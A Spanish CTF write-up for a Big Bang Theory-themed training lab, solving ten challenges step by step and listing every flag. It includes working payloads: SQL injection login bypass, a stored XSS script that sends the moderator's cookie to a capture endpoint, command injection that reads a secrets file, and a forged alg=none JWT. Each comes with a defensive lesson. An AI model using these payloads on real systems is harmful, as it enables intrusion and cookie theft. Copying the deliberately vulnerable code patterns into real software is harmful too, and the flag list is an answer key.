# Diversión con Banderas — Writeup completo

Laboratorio CTF de Ghost Academy ambientado en el universo de *The Big Bang
Theory*, con Sheldon Cooper como protagonista. La máquina esconde **10
flags**, cada una una frase célebre de Sheldon normalizada como
`DCB{...}`, repartidas en 10 retos de dificultad progresiva (de ★ a ★★★★★★★★).

## Desplegar la máquina

```bash
bash startlab.sh diversionconbanderas.tar
```

o, para reconstruir desde cero:

```bash
bash build-and-export.sh
bash startlab.sh diversionconbanderas.tar
```

La web queda disponible en `http://localhost:8080`. El progreso se
comprueba en `http://localhost:8080/verificador`, donde se puede ir
pegando cada flag encontrada y ver una barra de progreso 0/10 (el estado se
guarda en la sesión del navegador, vía cookie firmada).

Todas las flags están normalizadas: minúsculas, sin tildes, espacios por
guion bajo. Formato: `DCB{...}` (**D**iversión **C**on **B**anderas).

---

## Reto 1 — Bazinga (Recon · ★)

**Dónde:** página de inicio `/`.

**Vulnerabilidad:** información sensible dejada en un comentario HTML.

**Solución:** ver el código fuente de cualquier página del sitio
(`Ctrl+U` o "Ver código fuente"). En el `<head>` de `base.html` hay un
comentario:

```html
<!--
    Nota de producción (recordatorio interno, quitar antes de publicar):
    DCB{bazinga}
-->
```

**Flag:** `DCB{bazinga}`

**Lección:** nunca dejar notas de desarrollo, credenciales o flags en
comentarios HTML que llegan a producción — el cliente siempre puede leer
el HTML servido, por mucho que no se muestre visualmente.

---

## Reto 2 — Ese es mi sitio (Recon · ★)

**Dónde:** `/robots.txt`.

**Vulnerabilidad:** "seguridad por oscuridad" — ocultar una ruta privada
listándola en `robots.txt`, que es público y lo primero que revisa
cualquier atacante.

**Solución:**

```bash
curl http://localhost:8080/robots.txt
```

```
User-agent: *
Disallow: /el-sofa-de-sheldon
Disallow: /borrador-tesis-no-publicar
```

Visitar la ruta indicada:

```bash
curl http://localhost:8080/el-sofa-de-sheldon
```

**Flag:** `DCB{ese_es_mi_sitio}`

**Lección:** `robots.txt` es una petición a los rastreadores, no un
control de acceso. Cualquier ruta que no deba ser pública necesita
autenticación/autorización real, no simplemente "no enlazarla" ni
"pedirle a Google que no la indexe".

---

## Reto 3 — El Contrato de Convivencia (Forense de metadatos · ★★)

**Dónde:** `/contrato-de-convivencia`, descarga del PDF.

**Vulnerabilidad:** datos sensibles filtrados en los metadatos de un
documento (campo `/Keywords`).

**Solución:** descargar el PDF y leer sus metadatos con una herramienta
que parsee correctamente el formato PDF (no vale un `strings`/`grep`
ingenuo porque pypdf comprime los objetos internos):

```bash
curl -O http://localhost:8080/static/files/contrato_de_convivencia.pdf
exiftool contrato_de_convivencia.pdf
# o bien:
pdfinfo contrato_de_convivencia.pdf
```

Campo `Keywords`:

```
revision-v4-final;flag-QA;DCB{no_estoy_loco_mi_madre_me_hizo_pruebas}
```

**Flag:** `DCB{no_estoy_loco_mi_madre_me_hizo_pruebas}`

**Lección:** los metadatos de documentos (autor, software usado,
keywords, revisiones, geolocalización en fotos) viajan con el archivo
aunque el contenido visible esté "limpio". Antes de publicar un
documento hay que sanearlo (`exiftool -all= archivo.pdf`).

---

## Reto 4 — La pizarra de las ecuaciones (Esteganografía · ★★★)

**Dónde:** `/pizarra`, imagen `pizarra_ecuaciones.png`.

**Vulnerabilidad:** datos ocultos en los bits menos significativos (LSB)
del canal RGB de una imagen PNG.

**Solución:** descargar la imagen y extraer el mensaje oculto de sus LSB.
Con Python y Pillow:

```python
from PIL import Image
img = Image.open("pizarra_ecuaciones.png")
pixels = img.load()
W, H = img.size
bits = []
for y in range(H):
    for x in range(W):
        r, g, b = pixels[x, y]
        bits += [str(r & 1), str(g & 1), str(b & 1)]
bits = "".join(bits)
data = bytes(int(bits[i:i+8], 2) for i in range(0, len(bits), 8))
print(data.split(b"::END::")[0].decode())
```

(También vale con herramientas como `zsteg` o `stegsolve` si se probaran
los planos de bits uno a uno; aquí el mensaje usa los 3 canales RGB en
orden, terminado en el delimitador `::END::`.)

**Flag:** `DCB{lloro_porque_los_demas_son_estupidos}`

**Lección:** la esteganografía oculta datos a simple vista, pero no los
cifra — cualquiera que sepa (o pruebe) dónde mirar puede extraerlos. No es
un mecanismo de confidencialidad real.

---

## Reto 5 — El videoarchivo de Fun with Flags (IDOR · ★★★)

**Dónde:** `/fun-with-flags` (listado) y `/fun-with-flags/<id>` (detalle).

**Vulnerabilidad:** *Insecure Direct Object Reference* — los episodios se
listan con IDs 1 a 4, pero el servidor acepta cualquier ID sin comprobar
si está "publicado" o no.

**Solución:** probar IDs fuera del rango visible, empezando por los más
obvios (0, 5, 99...):

```bash
curl http://localhost:8080/fun-with-flags/0
```

Ese es el "episodio piloto no emitido", nunca enlazado desde el listado
público.

**Flag:** `DCB{el_amor_es_simple_quimica}`

**Lección:** no basta con "no enlazar" un recurso para protegerlo (otra
vez seguridad por oscuridad). El control de qué recursos son accesibles
tiene que vivir en el servidor, comprobando permisos/estado por cada ID,
no confiando en que el cliente solo pida los IDs que se le mostraron.

---

## Reto 6 — La trastienda del Comic Center (SQL Injection · ★★★★)

**Dónde:** `/comic-center` (formulario de login).

**Vulnerabilidad:** la consulta SQL se construye concatenando
directamente la entrada del usuario:

```python
query = f"SELECT usuario FROM usuarios WHERE usuario = '{usuario}' AND password = '{password}'"
```

**Solución:** *bypass* de autenticación clásico con comentario SQL:

- Usuario: `' OR '1'='1' --`
- Contraseña: cualquier cosa

```bash
curl -c cookies.txt -X POST http://localhost:8080/comic-center \
  --data-urlencode "usuario=' OR '1'='1' --" \
  --data-urlencode "password=x"
curl -b cookies.txt http://localhost:8080/comic-center/foro
```

La consulta resultante es:

```sql
SELECT usuario FROM usuarios WHERE usuario = '' OR '1'='1' --' AND password = 'x'
```

`'1'='1'` es siempre cierto y `--` comenta el resto, así que la consulta
devuelve el primer usuario de la tabla (`stuart`) sin necesidad de conocer
su contraseña real (que es aleatoria y no está en ningún sitio).

**Flag:** `DCB{acepto_tu_premisa_rechazo_tu_conclusion}`

**Lección:** nunca concatenar entrada de usuario en SQL. La solución
correcta son *prepared statements* / consultas parametrizadas
(`cursor.execute("... WHERE usuario = ? AND password = ?", (usuario, password))`),
donde el driver separa el código SQL de los datos y una comilla en la
entrada ya no puede alterar la consulta.

---

## Reto 7 — El libro de visitas de Fun with Flags (XSS almacenado · ★★★★★)

**Dónde:** `/libro-de-visitas`.

**Vulnerabilidad:** los comentarios se guardan y se renderizan con
`| safe` en la plantilla Jinja2, es decir, sin escapar HTML. Cualquier
`<script>` que se publique se ejecuta en el navegador de quien vea la
página — incluida la "moderadora" que revisa cada comentario nuevo.

**Solución:**

1. Visitar `/libro-de-visitas` y anotar el "ID de sesión" que muestra la
   página (se usa para identificar tu buzón de capturas).
2. Publicar un comentario cuyo contenido, al ejecutarse como JavaScript en
   el navegador de la moderadora, exfiltre `document.cookie` hacia tu
   propio buzón:

   ```html
   <script>fetch('/libro-de-visitas/exfil?player=TU_ID&c='+document.cookie)</script>
   ```

3. Revisar tu buzón:

   ```bash
   curl -b cookies.txt http://localhost:8080/libro-de-visitas/buzon
   ```

   Ahí aparece la cookie de sesión de la moderadora, capturada por tu
   payload.

**Flag:** `DCB{te_ofrezco_una_bebida_caliente}`

**Nota de diseño:** para que el laboratorio sea autocontenido (sin
depender de un navegador headless real dentro del contenedor), la
"moderadora" se simula: tras cada comentario nuevo, el servidor revisa si
contiene un patrón de exfiltración hacia `/libro-de-visitas/exfil` que
referencie `document.cookie`, y si lo encuentra, entrega la cookie real de
la moderadora a ese buzón — exactamente el efecto que tendría un XSS
almacenado real contra una víctima que abre la página.

**Lección:** cualquier dato que un usuario pueda controlar y que se
renderice como HTML sin escapar es una vía de XSS. La defensa es
autoescape por defecto (Jinja2 ya lo hace *si no se usa* `| safe`), más
cabeceras `Content-Security-Policy` y cookies de sesión `HttpOnly` (que
impedirían que `document.cookie` devolviera la cookie de sesión en primer
lugar — aquí se ha dejado deliberadamente sin `HttpOnly` para que el reto
sea explotable).

---

## Reto 8 — El protocolo Toc-Toc-Toc (Command Injection · ★★★★★★)

**Dónde:** `/protocolo-toc-toc`.

**Vulnerabilidad:** el nombre introducido se concatena sin sanear dentro
de un comando de shell:

```python
cmd = f"grep -i '{nombre}' {INVITADOS_PATH}"
subprocess.run(cmd, shell=True, ...)
```

**Solución:** cerrar la comilla simple e inyectar un comando adicional:

```bash
curl -X POST http://localhost:8080/protocolo-toc-toc \
  --data-urlencode "nombre=x'; cat /app/secrets_flag8.txt; echo '"
```

La cadena resultante ejecutada por el shell es:

```sh
grep -i 'x'; cat /app/secrets_flag8.txt; echo '' /app/data/invitados_autorizados.txt
```

Tres comandos separados por `;`: el `grep` original (inofensivo), el
`cat` que lee un fichero fuera del alcance previsto por la app, y un
`echo` de relleno para que la sintaxis quede balanceada.

**Flag:** `DCB{toc_toc_toc_penny}`

**Nota:** con ejecución de comandos como el usuario de la aplicación
(`sheldon`) también es posible leer el propio código fuente de la app
(`cat /app/app.py`, `cat /app/flags.py`), lo que en teoría permitiría ver
las demás flags. Es una consecuencia realista de conseguir RCE — en una
máquina de verdad, ejecución de comandos también suele significar acceso
a todo lo que el proceso comprometido pueda leer. Se deja así a propósito
como lección extra: un RCE bien explotado rara vez se queda en "una sola
flag".

**Lección:** nunca usar `shell=True` con entrada de usuario sin sanear.
Alternativas seguras: `subprocess.run(["grep", "-i", nombre, ruta])` (sin
`shell=True`, pasando argumentos como lista) o, mejor aún, implementar la
búsqueda en Python puro sin invocar un shell.

---

## Reto 9 — La Cámara de Damas (JWT alg=none · ★★★★★★★)

**Dónde:** `/camara-de-damas` (login) y `/camara-de-damas/panel`.

**Vulnerabilidad:** al iniciar sesión como invitado se recibe un JWT
firmado con `HS256` y `role: guest`. El panel decodifica el token así:

```python
header = jwt.get_unverified_header(token)
if header.get("alg", "").lower() == "none":
    payload = jwt.decode(token, options={"verify_signature": False})
else:
    payload = jwt.decode(token, JWT_SECRET, algorithms=["HS256"])
```

Es el clásico bug de **"algorithm confusion" con `alg: none`**: si el
propio token declara `alg: none` en la cabecera, el servidor se salta la
verificación de firma por completo. El secreto `JWT_SECRET` es aleatorio
e infactible de adivinar — el fallo no está ahí, está en aceptar tokens
sin firma.

**Solución:** entrar como invitado para ver el formato, y luego forjar un
token propio con `alg: none`, sin firma, y `role: admin`:

```python
import base64, json

def b64url(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

header = {"alg": "none", "typ": "JWT"}
payload = {"nombre": "Sheldon", "role": "admin"}
token = b64url(json.dumps(header).encode()) + "." + b64url(json.dumps(payload).encode()) + "."
print(token)
```

Sustituir la cookie `camara_token` por ese valor (en el navegador,
DevTools → Application → Cookies; o con curl):

```bash
curl --cookie "camara_token=$TOKEN" http://localhost:8080/camara-de-damas/panel
```

**Flag:** `DCB{necesidad_de_compartir_la_vida}`

**Lección:** nunca dejar que el propio token decida cómo se va a
verificar. Al decodificar un JWT hay que fijar explícitamente el/los
algoritmos permitidos del lado del servidor (`jwt.decode(token, SECRET,
algorithms=["HS256"])`, sin más) e ignorar por completo lo que declare la
cabecera del token recibido.

---

## Reto 10 — La caja fuerte de Meemaw (Criptografía · ★★★★★★★★)

**Dónde:** `/caja-fuerte-de-meemaw`.

**Vulnerabilidad:** ninguna vulnerabilidad técnica — es un reto de
decodificación en dos capas (ofuscación, no cifrado real).

**Solución:** el texto de la página es:

```
NDQ0MzQyN2I2ZTZmNWY3MzZmNzk1ZjZlNjU3Nzc0NmY2ZTdk
```

Primero es Base64, y al decodificarlo da una cadena hexadecimal; esa
cadena hexadecimal son los bytes ASCII de la flag:

```bash
echo "NDQ0MzQyN2I2ZTZmNWY3MzZmNzk1ZjZlNjU3Nzc0NmY2ZTdk" | base64 -d
# 4443427b6e6f5f736f795f6e6577746f6e7d
echo "4443427b6e6f5f736f795f6e6577746f6e7d" | xxd -r -p
# DCB{no_soy_newton}
```

**Flag:** `DCB{no_soy_newton}`

**Lección:** codificar (Base64, hex, ROT13...) no es lo mismo que cifrar.
No aporta confidencialidad real, solo ofuscación reversible por cualquiera
sin necesidad de ninguna clave — útil para transportar datos binarios en
texto, inútil como medida de seguridad.

---

## Resumen de flags

| # | Reto | Categoría | Flag |
|---|---|---|---|
| 1 | Bazinga | Recon | `DCB{bazinga}` |
| 2 | Ese es mi sitio | Recon | `DCB{ese_es_mi_sitio}` |
| 3 | Contrato de Convivencia | Forense/metadatos | `DCB{no_estoy_loco_mi_madre_me_hizo_pruebas}` |
| 4 | La pizarra | Esteganografía | `DCB{lloro_porque_los_demas_son_estupidos}` |
| 5 | Videoarchivo | IDOR | `DCB{el_amor_es_simple_quimica}` |
| 6 | Comic Center | SQL Injection | `DCB{acepto_tu_premisa_rechazo_tu_conclusion}` |
| 7 | Libro de visitas | XSS almacenado | `DCB{te_ofrezco_una_bebida_caliente}` |
| 8 | Protocolo Toc-Toc-Toc | Command Injection | `DCB{toc_toc_toc_penny}` |
| 9 | Cámara de Damas | JWT alg=none | `DCB{necesidad_de_compartir_la_vida}` |
| 10 | Caja fuerte de Meemaw | Criptografía | `DCB{no_soy_newton}` |
